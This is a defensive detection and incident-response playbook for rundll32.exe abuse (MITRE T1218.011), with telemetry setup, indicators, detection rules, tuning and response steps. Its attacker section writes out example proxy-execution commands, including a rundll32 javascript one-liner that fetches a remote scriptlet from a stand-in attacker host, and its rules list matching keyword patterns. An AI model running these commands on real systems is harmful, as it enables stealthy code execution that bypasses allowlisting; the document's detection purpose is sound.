Detection Playbook: Rundll32 (T1218.011)

T1218.011 · 2026-06-25

Rundll32

Stealth
Windows
MITRE ATT&CK →
Technique Rundll32 (T1218.011)
Tactic Stealth
Platforms Windows

Overview

Rundll32.exe is a legitimate Windows utility designed to load and execute functions exported from DLL files. Attackers abuse it to execute malicious payloads — including DLLs, Control Panel items (.cpl), JavaScript, and remote scripts — while hiding behind a trusted, signed Windows binary. Because rundll32.exe has a valid use in normal system operations, it frequently bypasses application allowlisting controls and endpoint security tools that whitelist it by default.

Every security team needs visibility into rundll32.exe abuse because it is a first-stage execution method used across commodity malware, ransomware loaders, and nation-state tooling alike. Detection gaps here directly translate to missed initial access, persistence establishment, and C2 beaconing — all before any obvious attacker behavior surfaces.

Attacker Perspective

Attackers use rundll32.exe to proxy malicious execution through a trusted Windows binary, sidestepping controls that would flag an unknown executable running directly.

  • Remote script execution via JavaScript: Malware such as Poweliks uses rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";GetObject("script:https://attacker.com/payload.sct") to download and execute a scriptlet entirely in memory, leaving no dropped PE on disk.
  • Malicious DLL sideloading: Cobalt Strike and similar frameworks stage a reflective DLL and call it with rundll32.exe C:\Users\Public\payload.dll,DllMain, using a high-entropy staging path outside of Program Files.
  • LOLBin chaining with signed DLLs: Attackers abuse trusted DLLs such as zipfldr.dll or ieframe.dll — for example rundll32.exe zipfldr.dll,RouteTheCall calc.exe — to spawn arbitrary processes indirectly under a legitimately signed module.
  • Control Panel item (.cpl) execution: Phishing campaigns drop a renamed .cpl file and trigger it via rundll32.exe shell32.dll,Control_RunDLL evil.cpl, exploiting the fact that double-clicking a .cpl also invokes rundll32.exe automatically.

This technique is attractive because rundll32.exe is signed by Microsoft, present on every Windows installation, and routinely allowlisted — making it one of the lowest-friction paths from initial access to code execution.

Detection Strategy

Required Telemetry

  • Windows Security Event Log — Process Creation (Event ID 4688): Enable via Group Policy: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation → Success. Additionally enable command-line auditing: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit → ProcessCreationIncludeCmdLine_Enabled = 1. Without command-line auditing, you only see that rundll32.exe ran — not what it was told to execute.
  • Sysmon Event ID 1 (Process Create): Deploy Sysmon with a configuration that captures CommandLine, ParentImage, ParentCommandLine, Hashes, and User. This is the highest-fidelity process telemetry source available on Windows and should be the primary source for this detection.
  • Sysmon Event ID 3 (Network Connection): Required to detect rundll32.exe reaching out to external IPs or domains for remote payload retrieval. Ensure Sysmon is configured to log network events for rundll32.exe specifically — many default configs exclude high-volume system processes.
  • Sysmon Event ID 7 (Image Load): Logs DLLs loaded by a process. Critical for detecting unusual DLLs loaded by rundll32.exe — particularly unsigned DLLs, DLLs loaded from user-writable paths, or DLLs with mismatched version metadata. Enable by adding ImageLoad rules to your Sysmon config targeting Image containing rundll32.exe.
  • Sysmon Event ID 11 (File Create): Captures files written to disk by rundll32.exe or its child processes. Required to identify dropped second-stage payloads.
  • Windows Defender / Microsoft Defender for Endpoint — Alert and Process Tree telemetry: MDE’s process tree view provides parent-child relationships with enrichment; use it alongside raw event logs to reconstruct execution chains.
  • DNS Query Logs (Sysmon Event ID 22 or network DNS logging): Sysmon Event ID 22 captures DNS queries made by rundll32.exe. Required to detect domain-based C2 or remote script retrieval. Enable by adding a DnsQuery rule for Image matching rundll32.exe.
  • PowerShell Script Block Logging (Event ID 4104): Enable via GPO: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1. Relevant when rundll32.exe is used to spawn PowerShell or when a downstream script is executed as part of the chain.

Key Indicators

  • Suspicious parent process: In Sysmon Event ID 1 or 4688, check ParentImage — rundll32.exe spawned by winword.exe, excel.exe, outlook.exe, mshta.exe, wscript.exe, cscript.exe, or powershell.exe is almost always malicious. Legitimate rundll32.exe invocations are typically parented by svchost.exe, explorer.exe, or system setup processes.
  • JavaScript execution pattern: In CommandLine, look for the string javascript: — for example rundll32.exe javascript:"\..\mshtml,RunHTMLApplication". No legitimate Windows software invokes rundll32.exe with a JavaScript URI in normal operations.
  • Remote script retrieval: In CommandLine, look for GetObject("script:, http://, or https:// within the rundll32.exe arguments. This pattern indicates an attempt to fetch and execute a remote scriptlet.
  • Execution from user-writable or staging paths: In CommandLine, flag DLL paths outside of C:\Windows\ and C:\Program Files\ — specifically paths like C:\Users\, C:\ProgramData\, C:\Temp\, or %APPDATA%. These are common staging locations for dropped payloads.
  • Control Panel item abuse: In CommandLine, look for Control_RunDLL or Control_RunDLLAsUser combined with a .cpl file path that exists outside of C:\Windows\System32\.
  • Unsigned or low-reputation DLL loads: In Sysmon Event ID 7, check Signed = false or SignatureStatus != Valid where Image contains rundll32.exe. Signed system DLLs should always carry a valid Microsoft signature.
  • Outbound network connection from rundll32.exe: In Sysmon Event ID 3, any DestinationIp or DestinationHostname from a process where Image ends in rundll32.exe should be treated as suspicious — rundll32.exe has no legitimate reason to initiate outbound connections in normal use.
  • Unusual exported function names or ordinal calls: In CommandLine, look for DLL calls using numeric ordinals (e.g., rundll32.exe payload.dll,#1) — this is a technique used to obscure which function is being invoked and is rarely seen in legitimate software.
  • Child processes spawned by rundll32.exe: In Sysmon Event ID 1, flag any process where ParentImage ends in rundll32.exe — especially cmd.exe, powershell.exe, wscript.exe, or any network-capable binary. Rundll32.exe does not legitimately spawn child shells.

Detection Logic

Rule 1 — Broad: Rundll32 executing from a non-standard path
IF process_name = "rundll32.exe" AND command_line MATCHES "(C:\\Users\\|C:\\ProgramData\\|C:\\Temp\\|%APPDATA%|%TEMP%)" AND NOT parent_process IN ("msiexec.exe", "setup.exe") THEN alert(severity=medium)

This rule catches any rundll32.exe invocation where the target DLL lives outside trusted system directories. Expected to produce moderate alert volume; most hits will be legitimate installers — tune aggressively using the parent process and path exclusions below before promoting to high severity.

Rule 2 — Medium: Rundll32 with network-indicating command-line patterns
IF process_name = "rundll32.exe" AND (command_line CONTAINS "javascript:" OR command_line CONTAINS "http://" OR command_line CONTAINS "https://" OR command_line CONTAINS "GetObject(" OR command_line CONTAINS "script:") THEN alert(severity=high)

This rule directly targets the remote scriptlet and JavaScript execution patterns associated with Poweliks-style malware and LOLBin C2 staging. Expected alert volume is very low in most environments — any hit should be treated as a confirmed malicious activity requiring immediate investigation.

Rule 3 — Medium: Rundll32 spawning a child shell or interpreter
IF parent_process_name = "rundll32.exe" AND process_name IN ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe") THEN alert(severity=high)

Catches post-execution activity where rundll32.exe is used as a launcher to spawn a command interpreter. This behavior has no legitimate equivalent in standard Windows operations and should be escalated immediately. Very low expected false positive rate.

Rule 4 — High precision: Rundll32 initiated by an Office application or browser
IF process_name = "rundll32.exe" AND parent_process_name IN ("winword.exe", "excel.exe", "outlook.exe", "powerpnt.exe", "msaccess.exe", "chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe") THEN alert(severity=critical)

Office applications and browsers have no legitimate reason to invoke rundll32.exe directly — this pattern is strongly indicative of a malicious macro, a phishing document, or a drive-by download chain. Near-zero false positive rate; auto-escalation to Tier 2 is appropriate without further qualification.

Tuning Guidance

  • Software installers and update agents: Legitimate MSI-based installers frequently call rundll32.exe to invoke shell functions during installation. Exclude with parent_process IN ("msiexec.exe", "trustedinstaller.exe") combined with a command_line containing known safe DLL names such as setupapi.dll or advpack.dll. Scope this exclusion narrowly and review it quarterly.
  • SCCM and endpoint management tools: Configuration Manager and similar agents invoke rundll32.exe for software distribution tasks. Exclude with parent_process IN ("ccmexec.exe", "smsexec.exe") where the DLL path is under C:\Windows\CCM\ or C:\Program Files\SMS_CCM\.
  • Control Panel applets legitimately opened by users: Users double-clicking .cpl files in C:\Windows\System32\ will generate rundll32.exe events with Control_RunDLL. Exclude with command_line CONTAINS "Control_RunDLL" AND dll_path STARTSWITH "C:\\Windows\\System32\\" — this suppresses noise while preserving detection of .cpl files in non-system paths.
  • PrintUI and shell32 invocations from print spooler: Windows print management routinely calls rundll32.exe printui.dll,PrintUIEntry. Exclude with command_line CONTAINS "printui.dll" AND parent_process IN ("spoolsv.exe", "explorer.exe").
  • Known security and monitoring software: Some EDR agents and DLP solutions load components via rundll32.exe. Build an allowlist of these specific command-line patterns after consulting your vendor documentation, and pin them to the expected parent process and user context — never allowlist by DLL name alone.

When the Alert Fires: Investigation Steps

  1. Verify the alert is real: Pull the raw Sysmon Event ID 1 or Windows Event ID 4688 record from your SIEM and confirm the CommandLine, Image, ProcessId, and UtcTime fields match what triggered the alert. Do not rely solely on the SIEM alert summary — verify the raw event exists in the original log source before proceeding.
  2. Identify the affected host and user: Extract the Computer (hostname), User, and LogonId fields from the event. Cross-reference the user account against your identity provider (Active Directory or Azure AD) to determine whether it is a privileged account, service account, or standard user — privilege escalation risk changes the urgency significantly.
  3. Pull the full command-line and parent process chain: Using Sysmon Event ID 1, retrieve the full CommandLine of the rundll32.exe process, then pivot on the ParentProcessId to retrieve the parent process and its own parent, building at least a three-generation process tree. Document the full chain and flag any unexpected parent (e.g., an Office application or browser) as an immediate escalation indicator.
  4. Check for network connections and files written to disk: Query Sysmon Event ID 3 filtered by the ProcessId of the rundll32.exe process to identify any outbound connections; note destination IPs, ports, and hostnames and check them against threat intelligence feeds (VirusTotal, Shodan, your TIP). Simultaneously query Sysmon Event ID 11 to identify any files created by the same PID — particularly executables, scripts, or DLLs dropped to disk.
  5. Examine DNS queries and LOLBin DLL loads: Query Sysmon Event ID 22 for DNS lookups made by the process to identify potential C2 domains. Additionally review Sysmon Event ID 7 (Image Load) filtered to the rundll32.exe PID and flag any DLLs that are unsigned, loaded from user-writable directories, or have mismatched version information using your EDR’s file reputation capability or VirusTotal API.
  6. Look for lateral movement from this host: Query Windows Security Event ID 4624 (successful logon) and 4648 (explicit credential use) for events originating from the affected host in the 2-hour window following the rundll32.exe execution. Cross-reference against Sysmon Event ID 3 for SMB (port 445), RDP (port 3389), or WMI/DCOM (port 135) connections to other internal hosts — any new lateral connections are a strong indicator of an active intrusion.
  7. Escalation decision: Treat the event as a confirmed incident requiring full IR response if any of the following are true: the parent process is an Office application or browser; the command line contains javascript:, a URL, or GetObject; rundll32.exe established an outbound network connection; rundll32.exe spawned a child shell; or files were dropped to a user-writable path. If none of these conditions are met and the DLL path and parent process match a known legitimate pattern, document the event, add a suppression rule, and close as a false positive with a tuning note.

Response Playbook

Containment

  • Isolate the host immediately: Use your EDR console (CrowdStrike, MDE, SentinelOne) to network-isolate the affected host. Keep the machine powered on — do not shut it down, as volatile memory may contain injected shellcode, decryption keys, or in-memory-only payloads that will be lost on reboot. If EDR isolation is unavailable, disable the network adapter via a remote management tool or physically disconnect the cable.
  • Kill the malicious process: Identify the PID of the malicious rundll32.exe instance from your Sysmon logs and terminate it via your EDR’s remote process kill capability. Also terminate any child processes spawned by it (e.g., cmd.exe, powershell.exe). Document the PID, parent PID, and full command line before killing — this information will be needed for the forensic timeline.
  • Disable the affected user account: Disable the account in Active Directory immediately using Disable-ADAccount -Identity [username] or via the AD Users and Computers console. If the account is a service account, coordinate with the application owner before disabling — but do not leave it enabled if active compromise is confirmed.
  • Block identified C2 IPs and domains: Submit identified destination IPs and domains from Sysmon Event ID 3 and Event ID 22 to your firewall team and DNS filtering solution for immediate blocking. Add them to your SIEM watchlist to alert on any other internal host querying the same indicators — this may reveal additional compromised systems.
  • Revoke active sessions and tokens: If the affected user has active sessions on other systems (visible via Event ID 4624 logs), invalidate those sessions. If Azure AD or Entra ID is in scope, revoke all refresh tokens for the account using Revoke-AzureADUserAllRefreshToken or the equivalent Entra ID portal action.

Eradication

  • Remove identified persistence mechanisms: Search the affected host for scheduled tasks (schtasks /query /fo LIST /v), registry run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run and HKLM\Software\Microsoft\Windows\CurrentVersion\Run), and new services created around the time of the incident. Remove any entries that reference the identified DLL paths or unknown executables.
  • Delete dropped payloads: Using the file paths identified from Sysmon Event ID 11, locate and delete any DLLs, executables, or scripts dropped during the attack. Quarantine them via EDR rather than hard-deleting if possible, to preserve them for deeper malware analysis.
  • Reset credentials for all involved accounts: Force a password reset for the compromised user account and any other accounts that ran processes during the attack chain. If the machine account or service account credentials may have been accessed (e.g., via LSASS interaction visible in the process tree), reset those as well.
  • Check lateral movement targets for backdoors: For every host the compromised system connected to during the investigation window (identified in Step 6 of investigation), run a targeted sweep using your EDR for the same IOCs — the dropped DLL hashes, C2 domains, and process lineage patterns. Do not assume lateral movement hosts are clean without active verification.
  • Rotate exposed secrets and API keys: If the compromised process had access to credential stores, browser-saved passwords, or application configuration files containing API keys or database credentials, rotate all of them immediately. Check for browser credential theft by reviewing Sysmon Event ID 11 for file reads against browser profile directories (e.g., C:\Users\[user]\AppData\Local\Google\Chrome\User Data\Default\Login Data).

Recovery

  • Verify the host is clean before reconnecting: Before removing network isolation, run a full EDR scan and manually review persistence locations (scheduled tasks, run keys, services, startup folders). If confidence in a clean state is low — particularly if the attack was in-memory only or the dwell time was greater than 24 hours — reimage the host from a known-good baseline rather than attempting to clean in place.
  • Re-enable the user account only after confirming no persistence remains: Do not re-enable the account until eradication steps are complete and verified. When re-enabling, enforce an immediate password change at next logon and consider temporarily requiring MFA step-up for the account’s first 48 hours back in service.
  • Monitor the host and user for 72 hours post-remediation: Create a temporary high-sensitivity watchlist rule in your SIEM that alerts on any rundll32.exe activity, new process creation, or outbound connection from the remediated host or user account for 72 hours. This catches re-infection or residual persistence that was missed during eradication.
  • Document the full timeline and close with lessons learned: Reconstruct the complete attack timeline from initial rundll32.exe execution to containment and log it in your case management system. Identify the initial access vector (phishing, vulnerable service, lateral movement) and document any detection gaps that allowed the technique to run before alerting. Share the timeline with the broader SOC team.
  • Update detection rules with new IOCs: Add any new DLL hashes, C2 IPs, domains, and command-line patterns discovered during this investigation to your SIEM detection rules and threat intelligence platform. Review whether the specific rundll32.exe invocation pattern that triggered this incident would have been caught earlier with better tuning — and implement that tuning immediately to reduce future dwell time.

Stay Ahead

Get daily threat intelligence and detection playbooks.

Free. No account. No email. Follow in Feedly, Inoreader, or any RSS reader.